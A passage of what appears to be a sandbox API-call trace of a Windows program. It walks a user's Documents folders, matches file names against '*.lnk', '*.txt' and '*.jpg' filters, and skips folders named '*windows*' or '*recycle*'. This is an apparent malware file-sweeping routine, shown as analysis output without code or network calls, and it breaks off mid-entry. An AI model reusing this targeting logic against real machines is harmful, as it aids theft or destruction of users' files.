[0271.021] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\99nqWsxhAXjvwd4zunw7\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\99nqwsxhaxjvwd4zunw7\\*"), lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3f8df90, ftCreationTime.dwHighDateTime=0x1d8a502, ftLastAccessTime.dwLowDateTime=0x1410dcd0, ftLastAccessTime.dwHighDateTime=0x1d8a73e, ftLastWriteTime.dwLowDateTime=0x1410dcd0, ftLastWriteTime.dwHighDateTime=0x1d8a73e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca4c0 [0271.025] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3f8df90, ftCreationTime.dwHighDateTime=0x1d8a502, ftLastAccessTime.dwLowDateTime=0x1410dcd0, ftLastAccessTime.dwHighDateTime=0x1d8a73e, ftLastWriteTime.dwLowDateTime=0x1410dcd0, ftLastWriteTime.dwHighDateTime=0x1d8a73e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.025] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7b509d0, ftCreationTime.dwHighDateTime=0x1d8977f, ftLastAccessTime.dwLowDateTime=0x7f30f070, ftLastAccessTime.dwHighDateTime=0x1d8a240, ftLastWriteTime.dwLowDateTime=0x7f30f070, ftLastWriteTime.dwHighDateTime=0x1d8a240, nFileSizeHigh=0x0, nFileSizeLow=0x3b12, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="4beLCNhB_gfxMxXbVBH.pdf", cAlternateFileName="4BELCN~1.PDF")) returned 1 [0271.025] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fa838 [0271.025] StrCpyW (in: psz1=0x6fa838, psz2="C:\\Users\\kEecfMwgj\\Documents\\99nqWsxhAXjvwd4zunw7" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\99nqWsxhAXjvwd4zunw7") returned="C:\\Users\\kEecfMwgj\\Documents\\99nqWsxhAXjvwd4zunw7" [0271.025] lstrlenW (lpString="\\") returned 1 [0271.025] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\99nqWsxhAXjvwd4zunw7") returned 49 [0271.025] LocalAlloc (uFlags=0x40, uBytes=0x164) returned 0x6fe220 [0271.025] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.025] lstrlenW (lpString="*.lnk") returned 5 [0271.025] lstrlenW (lpString="*.lnk") returned 5 [0271.025] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.025] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.026] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.026] PathMatchSpecW (pszFile="4beLCNhB_gfxMxXbVBH.pdf", pszSpec="*.lnk") returned 0 [0271.026] LocalFree (hMem=0x6fe220) returned 0x0 [0271.026] LocalFree (hMem=0x6fa838) returned 0x0 [0271.026] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x990e9040, ftCreationTime.dwHighDateTime=0x1d899d2, ftLastAccessTime.dwLowDateTime=0xd806a170, ftLastAccessTime.dwHighDateTime=0x1d8a738, ftLastWriteTime.dwLowDateTime=0xd806a170, ftLastWriteTime.dwHighDateTime=0x1d8a738, nFileSizeHigh=0x0, nFileSizeLow=0x16588, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="HIRL9w.csv", cAlternateFileName="")) returned 1 [0271.026] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fa838 [0271.026] StrCpyW (in: psz1=0x6fa838, psz2="C:\\Users\\kEecfMwgj\\Documents\\99nqWsxhAXjvwd4zunw7" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\99nqWsxhAXjvwd4zunw7") returned="C:\\Users\\kEecfMwgj\\Documents\\99nqWsxhAXjvwd4zunw7" [0271.026] lstrlenW (lpString="\\") returned 1 [0271.026] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\99nqWsxhAXjvwd4zunw7") returned 49 [0271.026] LocalAlloc (uFlags=0x40, uBytes=0x164) returned 0x6fe220 [0271.026] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.027] lstrlenW (lpString="*.lnk") returned 5 [0271.027] lstrlenW (lpString="*.lnk") returned 5 [0271.027] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.027] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.027] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.027] PathMatchSpecW (pszFile="HIRL9w.csv", pszSpec="*.lnk") returned 0 [0271.027] LocalFree (hMem=0x6fe220) returned 0x0 [0271.027] LocalFree (hMem=0x6fa838) returned 0x0 [0271.027] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc22091b0, ftCreationTime.dwHighDateTime=0x1d8a5ce, ftLastAccessTime.dwLowDateTime=0x2e386d60, ftLastAccessTime.dwHighDateTime=0x1d8a664, ftLastWriteTime.dwLowDateTime=0x2e386d60, ftLastWriteTime.dwHighDateTime=0x1d8a664, nFileSizeHigh=0x0, nFileSizeLow=0xac12, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="jwgg28EUoQZIH.pptx", cAlternateFileName="JWGG28~1.PPT")) returned 1 [0271.027] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fa838 [0271.027] StrCpyW (in: psz1=0x6fa838, psz2="C:\\Users\\kEecfMwgj\\Documents\\99nqWsxhAXjvwd4zunw7" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\99nqWsxhAXjvwd4zunw7") returned="C:\\Users\\kEecfMwgj\\Documents\\99nqWsxhAXjvwd4zunw7" [0271.027] lstrlenW (lpString="\\") returned 1 [0271.027] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\99nqWsxhAXjvwd4zunw7") returned 49 [0271.028] LocalAlloc (uFlags=0x40, uBytes=0x164) returned 0x6fe220 [0271.028] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.028] lstrlenW (lpString="*.lnk") returned 5 [0271.028] lstrlenW (lpString="*.lnk") returned 5 [0271.028] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.028] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.028] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.028] PathMatchSpecW (pszFile="jwgg28EUoQZIH.pptx", pszSpec="*.lnk") returned 0 [0271.028] LocalFree (hMem=0x6fe220) returned 0x0 [0271.028] LocalFree (hMem=0x6fa838) returned 0x0 [0271.028] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ee79f0, ftCreationTime.dwHighDateTime=0x1d89b72, ftLastAccessTime.dwLowDateTime=0xd99d7fb0, ftLastAccessTime.dwHighDateTime=0x1d8a146, ftLastWriteTime.dwLowDateTime=0xd99d7fb0, ftLastWriteTime.dwHighDateTime=0x1d8a146, nFileSizeHigh=0x0, nFileSizeLow=0x9809, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="zVbC.doc", cAlternateFileName="")) returned 1 [0271.029] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fa838 [0271.029] StrCpyW (in: psz1=0x6fa838, psz2="C:\\Users\\kEecfMwgj\\Documents\\99nqWsxhAXjvwd4zunw7" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\99nqWsxhAXjvwd4zunw7") returned="C:\\Users\\kEecfMwgj\\Documents\\99nqWsxhAXjvwd4zunw7" [0271.029] lstrlenW (lpString="\\") returned 1 [0271.029] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\99nqWsxhAXjvwd4zunw7") returned 49 [0271.029] LocalAlloc (uFlags=0x40, uBytes=0x164) returned 0x6fe220 [0271.029] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.029] lstrlenW (lpString="*.lnk") returned 5 [0271.029] lstrlenW (lpString="*.lnk") returned 5 [0271.029] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.029] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.029] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.029] PathMatchSpecW (pszFile="zVbC.doc", pszSpec="*.lnk") returned 0 [0271.030] LocalFree (hMem=0x6fe220) returned 0x0 [0271.030] LocalFree (hMem=0x6fa838) returned 0x0 [0271.030] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ee79f0, ftCreationTime.dwHighDateTime=0x1d89b72, ftLastAccessTime.dwLowDateTime=0xd99d7fb0, ftLastAccessTime.dwHighDateTime=0x1d8a146, ftLastWriteTime.dwLowDateTime=0xd99d7fb0, ftLastWriteTime.dwHighDateTime=0x1d8a146, nFileSizeHigh=0x0, nFileSizeLow=0x9809, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="zVbC.doc", cAlternateFileName="")) returned 0 [0271.030] LocalFree (hMem=0x6f50e8) returned 0x0 [0271.030] FindClose (in: hFindFile=0x6ca4c0 | out: hFindFile=0x6ca4c0) returned 1 [0271.032] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.032] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7235420, ftCreationTime.dwHighDateTime=0x1d829f6, ftLastAccessTime.dwLowDateTime=0x29391d60, ftLastAccessTime.dwHighDateTime=0x1d88bb5, ftLastWriteTime.dwLowDateTime=0x29391d60, ftLastWriteTime.dwHighDateTime=0x1d88bb5, nFileSizeHigh=0x0, nFileSizeLow=0x58c5, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="aqXPW-s1u2kP32CbjYV.pptx", cAlternateFileName="AQXPW-~1.PPT")) returned 1 [0271.032] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.032] StrCpyW (in: psz1=0x6fdcc0, psz2="C:\\Users\\kEecfMwgj\\Documents\\" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\") returned="C:\\Users\\kEecfMwgj\\Documents\\" [0271.032] lstrlenW (lpString="aqXPW-s1u2kP32CbjYV.pptx") returned 24 [0271.032] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0271.032] LocalAlloc (uFlags=0x40, uBytes=0x16a) returned 0x6fe220 [0271.032] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.032] lstrlenW (lpString="*.lnk") returned 5 [0271.032] lstrlenW (lpString="*.lnk") returned 5 [0271.032] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.032] StrCpyW (in: psz1=0x6fdcc0, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.033] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.033] PathMatchSpecW (pszFile="aqXPW-s1u2kP32CbjYV.pptx", pszSpec="*.lnk") returned 0 [0271.033] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.033] LocalFree (hMem=0x6fe220) returned 0x0 [0271.033] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad901900, ftCreationTime.dwHighDateTime=0x1d852e5, ftLastAccessTime.dwLowDateTime=0x614ae0b0, ftLastAccessTime.dwHighDateTime=0x1d8a6dd, ftLastWriteTime.dwLowDateTime=0x614ae0b0, ftLastWriteTime.dwHighDateTime=0x1d8a6dd, nFileSizeHigh=0x0, nFileSizeLow=0x299a, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="AxDjR9uSPw3X3VVxPP 7.pptx", cAlternateFileName="AXDJR9~1.PPT")) returned 1 [0271.033] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.034] StrCpyW (in: psz1=0x6fdcc0, psz2="C:\\Users\\kEecfMwgj\\Documents\\" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\") returned="C:\\Users\\kEecfMwgj\\Documents\\" [0271.034] lstrlenW (lpString="AxDjR9uSPw3X3VVxPP 7.pptx") returned 25 [0271.034] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0271.034] LocalAlloc (uFlags=0x40, uBytes=0x16c) returned 0x6fe220 [0271.034] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.034] lstrlenW (lpString="*.lnk") returned 5 [0271.034] lstrlenW (lpString="*.lnk") returned 5 [0271.034] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.034] StrCpyW (in: psz1=0x6fdcc0, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.034] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.034] PathMatchSpecW (pszFile="AxDjR9uSPw3X3VVxPP 7.pptx", pszSpec="*.lnk") returned 0 [0271.035] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.035] LocalFree (hMem=0x6fe220) returned 0x0 [0271.035] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa73bb10, ftCreationTime.dwHighDateTime=0x1d81f22, ftLastAccessTime.dwLowDateTime=0xb9d29a00, ftLastAccessTime.dwHighDateTime=0x1d89c85, ftLastWriteTime.dwLowDateTime=0xb9d29a00, ftLastWriteTime.dwHighDateTime=0x1d89c85, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="C8N0Sa.pptx", cAlternateFileName="C8N0SA~1.PPT")) returned 1 [0271.035] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.035] StrCpyW (in: psz1=0x6fdcc0, psz2="C:\\Users\\kEecfMwgj\\Documents\\" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\") returned="C:\\Users\\kEecfMwgj\\Documents\\" [0271.035] lstrlenW (lpString="C8N0Sa.pptx") returned 11 [0271.035] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0271.035] LocalAlloc (uFlags=0x40, uBytes=0x150) returned 0x6fe220 [0271.035] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.035] lstrlenW (lpString="*.lnk") returned 5 [0271.035] lstrlenW (lpString="*.lnk") returned 5 [0271.035] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.036] StrCpyW (in: psz1=0x6fdcc0, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.036] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.036] PathMatchSpecW (pszFile="C8N0Sa.pptx", pszSpec="*.lnk") returned 0 [0271.036] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.036] LocalFree (hMem=0x6fe220) returned 0x0 [0271.036] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8588a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0271.036] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.037] StrCpyW (in: psz1=0x6fdcc0, psz2="C:\\Users\\kEecfMwgj\\Documents\\" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\") returned="C:\\Users\\kEecfMwgj\\Documents\\" [0271.037] lstrlenW (lpString="desktop.ini") returned 11 [0271.037] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0271.037] LocalAlloc (uFlags=0x40, uBytes=0x150) returned 0x6fe220 [0271.037] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.037] lstrlenW (lpString="*.lnk") returned 5 [0271.037] lstrlenW (lpString="*.lnk") returned 5 [0271.037] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.037] StrCpyW (in: psz1=0x6fdcc0, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.037] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.037] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*.lnk") returned 0 [0271.038] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.038] lstrlenW (lpString="*.txt,*.jpg") returned 11 [0271.038] LocalAlloc (uFlags=0x40, uBytes=0x116) returned 0x6fdcc0 [0271.038] StrStrW (lpFirst="*.txt,*.jpg", lpSrch=",") returned=",*.jpg" [0271.038] lstrlenW (lpString="*.txt,*.jpg") returned 11 [0271.038] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x6fb588 [0271.038] StrCpyW (in: psz1=0x6fdcc0, psz2="*.txt" | out: psz1="*.txt") returned="*.txt" [0271.038] LocalFree (hMem=0x6fb588) returned 0x0 [0271.038] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*.txt") returned 0 [0271.038] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.038] lstrlenW (lpString="*.txt,*.jpg") returned 11 [0271.038] LocalAlloc (uFlags=0x40, uBytes=0x116) returned 0x6fdcc0 [0271.038] StrStrW (lpFirst="*.jpg", lpSrch=",") returned 0x0 [0271.039] lstrlenW (lpString="*.jpg") returned 5 [0271.039] lstrlenW (lpString="*.jpg") returned 5 [0271.039] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.039] StrCpyW (in: psz1=0x6fdcc0, psz2="*.jpg" | out: psz1="*.jpg") returned="*.jpg" [0271.039] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.039] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*.jpg") returned 0 [0271.039] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.040] LocalFree (hMem=0x6fe220) returned 0x0 [0271.040] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58dadab0, ftCreationTime.dwHighDateTime=0x1d89d97, ftLastAccessTime.dwLowDateTime=0x6594e290, ftLastAccessTime.dwHighDateTime=0x1d8a09f, ftLastWriteTime.dwLowDateTime=0x6594e290, ftLastWriteTime.dwHighDateTime=0x1d8a09f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="GZ0SeYjG0lJNK", cAlternateFileName="GZ0SEY~1")) returned 1 [0271.040] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.040] PathCombineW (in: pszDest=0x6fdcc0, pszDir="C:\\Users\\kEecfMwgj\\Documents\\", pszFile="GZ0SeYjG0lJNK" | out: pszDest="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK") returned="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK" [0271.040] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.040] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x6fe220 [0271.040] StrStrW (lpFirst="*windows*,*recycle*", lpSrch=",") returned=",*recycle*" [0271.040] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.040] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6b9738 [0271.040] StrCpyW (in: psz1=0x6fe220, psz2="*windows*" | out: psz1="*windows*") returned="*windows*" [0271.040] LocalFree (hMem=0x6b9738) returned 0x0 [0271.040] PathMatchSpecW (pszFile="GZ0SeYjG0lJNK", pszSpec="*windows*") returned 0 [0271.041] LocalFree (hMem=0x6fe220) returned 0x0 [0271.041] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.041] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x6fe220 [0271.041] StrStrW (lpFirst="*recycle*", lpSrch=",") returned 0x0 [0271.041] lstrlenW (lpString="*recycle*") returned 9 [0271.041] lstrlenW (lpString="*recycle*") returned 9 [0271.041] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x6fb588 [0271.041] StrCpyW (in: psz1=0x6fe220, psz2="*recycle*" | out: psz1="*recycle*") returned="*recycle*" [0271.041] LocalFree (hMem=0x6fb588) returned 0x0 [0271.041] PathMatchSpecW (pszFile="GZ0SeYjG0lJNK", pszSpec="*recycle*") returned 0 [0271.041] LocalFree (hMem=0x6fe220) returned 0x0 [0271.041] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0271.042] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK") returned="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK" [0271.042] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK") returned 42 [0271.042] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gz0seyjg0ljnk\\*"), lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58dadab0, ftCreationTime.dwHighDateTime=0x1d89d97, ftLastAccessTime.dwLowDateTime=0x6594e290, ftLastAccessTime.dwHighDateTime=0x1d8a09f, ftLastWriteTime.dwLowDateTime=0x6594e290, ftLastWriteTime.dwHighDateTime=0x1d8a09f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca4c0 [0271.045] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58dadab0, ftCreationTime.dwHighDateTime=0x1d89d97, ftLastAccessTime.dwLowDateTime=0x6594e290, ftLastAccessTime.dwHighDateTime=0x1d8a09f, ftLastWriteTime.dwLowDateTime=0x6594e290, ftLastWriteTime.dwHighDateTime=0x1d8a09f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.045] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a00880, ftCreationTime.dwHighDateTime=0x1d89a10, ftLastAccessTime.dwLowDateTime=0x83998da0, ftLastAccessTime.dwHighDateTime=0x1d8a233, ftLastWriteTime.dwLowDateTime=0x83998da0, ftLastWriteTime.dwHighDateTime=0x1d8a233, nFileSizeHigh=0x0, nFileSizeLow=0xbd51, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="66hjyIDaww4 o.docx", cAlternateFileName="66HJYI~1.DOC")) returned 1 [0271.045] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fa838 [0271.045] StrCpyW (in: psz1=0x6fa838, psz2="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK") returned="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK" [0271.046] lstrlenW (lpString="\\") returned 1 [0271.046] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK") returned 42 [0271.046] LocalAlloc (uFlags=0x40, uBytes=0x156) returned 0x6fe220 [0271.046] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.046] lstrlenW (lpString="*.lnk") returned 5 [0271.046] lstrlenW (lpString="*.lnk") returned 5 [0271.046] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.046] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.047] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.047] PathMatchSpecW (pszFile="66hjyIDaww4 o.docx", pszSpec="*.lnk") returned 0 [0271.047] LocalFree (hMem=0x6fe220) returned 0x0 [0271.047] LocalFree (hMem=0x6fa838) returned 0x0 [0271.047] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x227032d0, ftCreationTime.dwHighDateTime=0x1d8a5bd, ftLastAccessTime.dwLowDateTime=0xa3ebe620, ftLastAccessTime.dwHighDateTime=0x1d8a620, ftLastWriteTime.dwLowDateTime=0xa3ebe620, ftLastWriteTime.dwHighDateTime=0x1d8a620, nFileSizeHigh=0x0, nFileSizeLow=0x33d3, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="7jM HMb.odt", cAlternateFileName="7JMHMB~1.ODT")) returned 1 [0271.047] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fa838 [0271.047] StrCpyW (in: psz1=0x6fa838, psz2="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK") returned="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK" [0271.047] lstrlenW (lpString="\\") returned 1 [0271.047] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK") returned 42 [0271.047] LocalAlloc (uFlags=0x40, uBytes=0x156) returned 0x6fe220 [0271.048] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.048] lstrlenW (lpString="*.lnk") returned 5 [0271.048] lstrlenW (lpString="*.lnk") returned 5 [0271.048] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.048] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.048] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.048] PathMatchSpecW (pszFile="7jM HMb.odt", pszSpec="*.lnk") returned 0 [0271.048] LocalFree (hMem=0x6fe220) returned 0x0 [0271.049] LocalFree (hMem=0x6fa838) returned 0x0 [0271.049] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa04810a0, ftCreationTime.dwHighDateTime=0x1d89c4a, ftLastAccessTime.dwLowDateTime=0x546a7cd0, ftLastAccessTime.dwHighDateTime=0x1d8a36c, ftLastWriteTime.dwLowDateTime=0x546a7cd0, ftLastWriteTime.dwHighDateTime=0x1d8a36c, nFileSizeHigh=0x0, nFileSizeLow=0x1892c, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="ohxlS3Dd5l OE38v1.ppt", cAlternateFileName="OHXLS3~1.PPT")) returned 1 [0271.049] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fa838 [0271.049] StrCpyW (in: psz1=0x6fa838, psz2="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK") returned="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK" [0271.049] lstrlenW (lpString="\\") returned 1 [0271.049] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK") returned 42 [0271.049] LocalAlloc (uFlags=0x40, uBytes=0x156) returned 0x6fe220 [0271.049] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.049] lstrlenW (lpString="*.lnk") returned 5 [0271.049] lstrlenW (lpString="*.lnk") returned 5 [0271.049] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.049] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: 